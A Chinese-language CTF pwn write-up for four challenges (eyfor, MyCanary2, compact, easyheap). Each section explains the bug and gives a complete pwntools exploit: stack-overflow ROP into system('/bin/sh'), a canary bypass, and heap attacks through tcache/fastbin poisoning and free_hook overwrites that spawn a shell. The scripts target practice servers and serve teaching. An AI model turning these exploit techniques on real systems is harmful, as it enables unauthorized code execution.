# pwn
# eyfor
buf 可以覆盖 seed,覆盖之后直接可以生成随机数。猜数成功之后可以进入一个栈溢出:
程序自带 system 函数,同时会将 payload strcpy 到 bss 段上,因此可以在 payload 中附带 /bin/sh 之后直接调用 system ("/bin/sh")
getshell。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *import ctypescontext.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] context.log_level = 'debug' libc_func = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6' ) libc_func.srand(10 ) sh = process('/mnt/hgfs/ubuntu/das7/pwn4' ) sh = remote('node4.buuoj.cn' ,27445 ) sh.sendafter(b'go\n' ,b'aaa' ) for i in range (4 ): sh.sendlineafter(b'message:\n' ,str (libc_func.rand()).encode()) sh.sendline(str (-1 ).encode()) pop_rdi = 0x0000000000400983 payload = b'/bin/sh\x00' +b'a' *0x30 +p64(pop_rdi+1 )+p64(pop_rdi)+p64(0x6010C0 )+p64(0x400680 ) sh.sendline(payload) sh.interactive()
# MyCanary2
程序自己实现一个 canary,canary 本身是通过随机数异或而来,不可破解。
不过程序出现了一个逻辑漏洞。
若我们先调用栈溢出之后再调用生成 canary 则可以直接绕过 canary 实现栈溢出。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] context.log_level = 'debug' r = remote('node4.buuoj.cn' ,28879 ) def menu (choice ): r.recvuntil(b"Input your choice" ) r.sendline(str (choice)) def gogogo (payload ): menu(1 ) r.recvuntil(b"Show me the code:" ) r.send(payload) pop_rdi = 0x0000000000401613 system_addr = 0x401120 payload = b'a' *0x68 +p32(0 )+p32(0 )+p64(0 )+p64(pop_rdi+1 )+p64(pop_rdi)+p64(0x4020F0 )+p64(system_addr) print (payload)gogogo(payload) menu(2 ) menu(3 ) r.interactive()
# compact
程序实现了一个堆菜单:
这个程序最特殊的地方就是她的 delete 和 reset 是分开的。
delete 功能为清空堆块指针。reset 会 free 掉所有执行过 delete 的堆块。
这个功能很重要。
然后就是这里有一个溢出:
当 buf 为 0xff 的时候,可以溢出最多的字节覆盖到结构体指针:
这道题让我卡了很久是因为 idx<=7。不太好填满 tcache list 然后用 fastbin into tcache bin 做。
不过用刚才那个 delete 清空指针和 reset 配合还是能够做到的,这样之后我发现只能申请 0x20 大小的堆块,并且申请地址末尾必为 tag 字段:0xff,我调试了一下 malloc_hook
, free_hook
, exit_hook
都不在末尾字段为 0xff 且偏移处于 0x20 的范围内,同时由于 0x20 大小是结构体堆块,即使申请过去了,我们的 ogg 里也必带有一个 0xff,所以这种思路是错的。\
我的步骤:
通过以上溢出改结构体指针,free 掉一个 fake_unsortedbin
。
再申请一个堆块,改掉结构体指针指向 fake_unsortedbin
,通过 show 功能泄露 heap 基址和 libc 基址。
伪造一个 fake_chunk,free 掉 0x90 大小的 fake_chunk 后申请回来,改掉一个 tcache 空闲块的 next
指针。
然后就打 free_hook
即可。
(这里其实伪造 fake_chunk
必须要满足 fake_chunk
的下一个堆块 size 合法,并且我感觉也不止会判断这一个,似乎还会一直往下判断下一个堆块 size 是否合法,因此我最开始没有采用这种方法,不过这道题刚好有一个 fake_unsortedbin
可以给我们提供合法的 size,因此可以伪造 fake_chunk
)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from pwn import *context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] context.log_level = 'debug' r = remote('node4.buuoj.cn' ,29237 ) libc = ELF('/mnt/hgfs/ubuntu/das7/compact/libc-2.31.so' ) def menu (choice ): r.recvuntil(b"give me your choice: \n" ) r.sendline(str (choice)) def add (content,something ): menu(1 ) r.recvuntil(b"data: " ) r.send(content) r.recvuntil(b"tag: " ) r.send(b'\xff' ) r.send(something) def show (index ): menu(2 ) r.recvuntil(b"idx: " ) r.sendline(str (index)) def delete (index ): menu(3 ) r.recvuntil(b"idx: " ) r.sendline(str (index)) def alldelete (): menu(4 ) [add(p64(0 )*3 +p64(0x4b1 )+p64(0 )*3 +p64(0x91 ),b'a' ) for i in range (8 )] delete(0 ) alldelete() add(b'a' ,b'aaa\xe0' ) delete(0 ) alldelete() add(b'a' ,b'aaa\xe0' ) show(0 ) r.recvuntil(b"tag: \xffaaa" ) heap_base = u64(r.recv(6 ).ljust(8 ,b'\0' ))-0x2e0 libc_base = u64(r.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\0' ))-0x1ebf61 free_hook = libc_base+libc.sym["__free_hook" ] one_gadget = libc_base+0xe6af1 delete(4 ) [delete(k) for k in range (2 ,4 )] alldelete() add(b'a' ,b'aaa' +p16((heap_base+0x3b0 )&0xffff )) delete(2 ) alldelete() add(b'a' *0x40 +p64(0 )+p64(0x21 )+p64(heap_base)+p64(heap_base+0x10 )+p64(0 )+p64(0x91 )+p64(free_hook),b'a' ) add(b'a' ,b'a' ) delete(2 ) add(p64(one_gadget),b'a' ) menu(4 ) log.success("heap_base: " +hex (heap_base)) log.success("libc_base: " +hex (libc_base)) r.interactive()
# easyheap
赛后由 h@x0r师傅
提供的思路和 exp,经由本人同意后我收集在此。
维护了 0x37 个双向链表头来管理堆结构
结构如下
1 2 3 4 5 6 7 struct Node { char name[16 ]; char *buf; _QWORD prev; Node *next; };
并且通过输入的 name 来进行一个类似 hash 的操作得到他在整个链表头数组的索引
1 2 3 4 5 6 def name_hash (name ): v3 = 0 ; name = name.ljust(16 ,b'\x00' ) for i in range (16 ): v3 = name[i] + 0x13 * v3; return v3 & 0x37
漏洞出在删除逻辑里假设链表头节点的 prev 是 0
但是如果移除该链表头节点后,这个假设就不成立了
这时候就会走 prev->next = tmp 这条路径
导致链表头还是原来这个节点,但是因为他的 name 字段已经变化,我们一般来说已经访问不到他了
(所以我 fuzz 半天没 fuzz 出来什么洞)
那么现在就有一个 double free
来看一下我们其他的函数
add 函数
show 函数
容易发现 name 跟 buf 指针相邻,可以通过打印 name 指针泄露一下堆地址
(管他有没有用,先泄了再说)
然后可以通过填满 tcache 让 0x210 的堆块释放到 unsortbin 里,然后用 show 打印 free 状态下的节点来泄露 libc 地址
因为是 2.31 所以考虑打 free_hook 写 system
注意到 dele 中
如果我们能完全控制被 free 节点的内容
我们就可以写入 prev->next 的值为 next 指针
那么我们只需要控制 prev == free_hook-0x20 next == system_addr buf == bin_sh_addr
就可以一次操作 getshell
不难想到在 0x210 的大堆块中伪造一个 0x30 的节点
那我们还需要一次 fastbin attack 来分配到这个 0x30 的节点
详细操作见 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from pwn import *context.log_level = 'debug' sh = process('./easyheap' ) def cmd (choice ): sh.sendlineafter(b'> ' ,str (choice).encode()) def add (name,content ): cmd(1 ) if len (name) < 0x10 : name += b'\n' if len (content) < 0x200 : content += b'\n' sh.sendafter(b'name: ' ,name) sh.sendafter(b'content: ' ,content) def dele (name ): cmd(3 ) if len (name) != 0x10 : name = name.ljust(16 ,b'\x00' ) sh.sendafter(b'name: ' ,name) def show (idx ): cmd(2 ) sh.sendlineafter(b'idx: ' ,str (idx).encode()) def name_hash (name ): v3 = 0 ; name = name.ljust(16 ,b'\x00' ) for i in range (16 ): v3 = name[i] + 0x13 * v3; return v3 & 0x37 add(b'\x00' ,b'xx' ) add(b'\x00' ,b'xx' ) add(b'\xff' *15 +b'X' ,b'xxx' ) show(name_hash(b'\xff' *15 +b'X' )) sh.recvuntil(b'X' ) heap_base = u64(sh.recv(6 ).ljust(8 ,b'\x00' )) & -4096 for i in range (6 ): add(b'\x02' ,b'kk' ) for i in range (6 ): dele(b'\x02' ) dele(b'\x00' ) dele(b'\x00' ) success("heap_base : " +hex (heap_base)) show(0 ) libc_base = u64(sh.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) - 0x1ecbe0 success("libc_base : " +hex (libc_base)) bucket = name_hash(p64(heap_base+0x2120 )) bucket_name = p64(heap_base+0x2120 ) add(bucket_name,b'xxx' ) for i in range (8 ): add(b'\x02' ,b'clear' ) add(b'\x02' ,b'a' *0x20 +p64(0 )+p64(0x31 )+p64(0 )*5 +p64(0x31 )) for i in range (2 ): add(b'\x02' ,b'clear' ) add(bucket_name,b'xxx' ) for i in range (5 ): dele(b'\x02' ) dele(bucket_name) dele(bucket_name) dele(b'\xff' *15 +b'X' ) add(b'\x07' ,b'bbb' ) success("bucket : " +hex (bucket)) dele(b'\x02' ) dele(bucket_name) fake_chunk = heap_base + 0x1b20 add(p64(fake_chunk),b'qqq' ) add(b'\x02' ,b'kkk' ) add(b'\x02' ,b'kkk' ) add(b'\x01' ,b'kkk' ) libc = ELF('./libc.so.6' ) libc.address = libc_base payload = b'\x00' *0x20 payload += p64(0 ) + p64(0x31 ) payload += p64(0x1 ) + p64(0 ) payload += p64(next (libc.search(b'/bin/sh\x00' ))) payload += p64(libc.sym['__free_hook' ]-0x20 ) + p64(libc.sym['system' ]) add(b'\x02' ,payload) dele(b'\x01' ) sh.interactive()
有一点坑的是
远程的 libc 版本实际是 2.31 9.9
而附件给出的实际上是 2.31 9.7
但是因为泄露是一般是泄露的 unsortbin 的地址,而这两个版本的 unsortbin 的偏移恰好一致
所以很难发现是 libc 有问题